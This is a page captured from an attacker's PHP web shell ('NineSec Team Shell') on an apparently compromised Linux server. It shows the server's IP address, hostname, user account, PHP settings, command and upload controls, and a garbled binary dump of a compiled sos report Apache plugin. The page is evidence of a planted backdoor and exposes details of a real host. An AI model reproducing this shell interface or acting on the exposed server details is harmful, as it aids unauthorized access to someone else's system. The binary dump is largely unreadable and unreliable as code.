NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/apache.cpython-36.pyc
3

~�g��@sVddlmZmZmZmZmZGdd�de�ZGdd�dee�ZGdd�deee�ZdS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�	PluginOptc@s@eZdZdZdZdZdZdZdZdZ	e
d	d
dd�gZd
d�ZdS)�Apachea�The Apache plugin covers the upstream Apache webserver project,
    regardless of the packaged name; apache2 for Debian and Ubuntu, or httpd
    for Red Hat family distributions.

    The aim of this plugin is for Apache-specific information, not necessarily
    other projects that happen to place logs or similar files within the
    standardized apache directories. For example, OpenStack components that log
    to apache logging directories are excluded from this plugin and collected
    via their respective OpenStack plugins.

    Users can expect the collection of apachectl command output, apache server
    logs, and apache configuration files from this plugin.
    zApache http daemonZapache�	webserver�	openshift�httpd�	/var/www/N�logFzgathers all apache logs)�name�defaultZdesccsX�jddgdd��jddd�dd	d
ddd
ddddddg}�j�fdd�|D��dS)Nzapachectl -Szapachectl -tT)Z
cmd_as_tagzapachectl -MZhttpd_M)�tagsZaodhZ
ceilometerZcinderZforemanZgnocchiZhorizonZkeystoneZmanilaZnovaZoctaviaZ	placementZpulpcs g|]}d�j�d|�d��qS)z	/var/log/z*/�*)�	apachepkg)�.0�sub)�self��/usr/lib/python3.6/apache.py�
<listcomp>@sz Apache.setup.<locals>.<listcomp>)Zadd_cmd_output�add_forbidden_path)rZsubdirsr)rr�setup's&zApache.setup)rr	)r
)r)
�__name__�
__module__�__qualname__�__doc__Z
short_descZplugin_nameZprofilesZpackages�filesrrZoption_listrrrrrr
s
rcs(eZdZdZdZdZ�fdd�Z�ZS)	�RedHatApachea~
    On Red Hat distributions, the Apache plugin will also attempt to collect
    JBoss Web Server logs and configuration files.

    Note that for Red Hat distributions, this plugin explicitly collects for
    'httpd' installations. If you have installed apache from source or via any
    method that uses the name 'apache' instead of 'httpd', these collections
    will fail.
    �/etc/httpd/conf/httpd.conf�/etc/httpd22/conf/httpd.conf�/etc/httpd24/conf/httpd.confr
c
s|jddddd��t�j�dddg}d	d
�|D�}ddd
g}dd
�|D�}ddddg}|jdd
�|D��x2|D]*}x$|D]}|j|�d|��dd�q~WqtW|jd�s�|jd�r�|j|�n0x.|D]&}x |D]}	|j|�d|	���q�Wq�W|jddd�dS)NZhttpd_access_logZhttpd_error_logZhttpd_ssl_access_logZhttpd_ssl_error_log)z/var/log/httpd/access_logz/var/log/httpd/error_logz/var/log/httpd/ssl_access_logz/var/log/httpd/ssl_error_log�Z22Z24cSsg|]}d|���qS)z
/etc/httpdr)r�verrrrresz&RedHatApache.setup.<locals>.<listcomp>zconf/*.confz
conf.d/*.confzconf.modules.d/*.confcSsg|]}d|���qS)z/var/log/httpdr)rr$rrrrnsZ
access_logZ	error_logZssl_access_logZ
ssl_error_logcSsg|]}|�d��qS)z/conf/password.confr)rZetcrrrrws�/Z
httpd_conf)rr�all_logsr
Zsystemctl_httpd)Z
add_file_tags�superrr�
add_copy_spec�
get_option�add_service_status)
rZversZetcdirsZconfsZlogdirsZlogsZedirZconfZldirr)�	__class__rrrUs6




 

zRedHatApache.setup)r r!r")rrrrrrr�
__classcell__rr)r+rrDs	rcs$eZdZdZdZ�fdd�Z�ZS)�DebianApache�/etc/apache2/apache2.conf�apache2csZt�j�|jddg�|jd�|jdddddg�|jd	�sJ|jd
�rV|jdg�dS)Nz/etc/apache2/*z/etc/default/apache2r/z/var/log/apache2/access.logz/var/log/apache2/error.logz/var/log/apache2/ssl_access.logz/var/log/apache2/ssl_error.logz(/var/log/apache2/other_vhosts_access.logrr&z/var/log/apache2)r'rr(r*r))r)r+rrr�s

zDebianApache.setup)r.)rrrrrrr,rr)r+rr-�sr-N)	Zsos.report.pluginsrrrrrrrr-rrrr�<module>	s7D

NineSec Team - 2022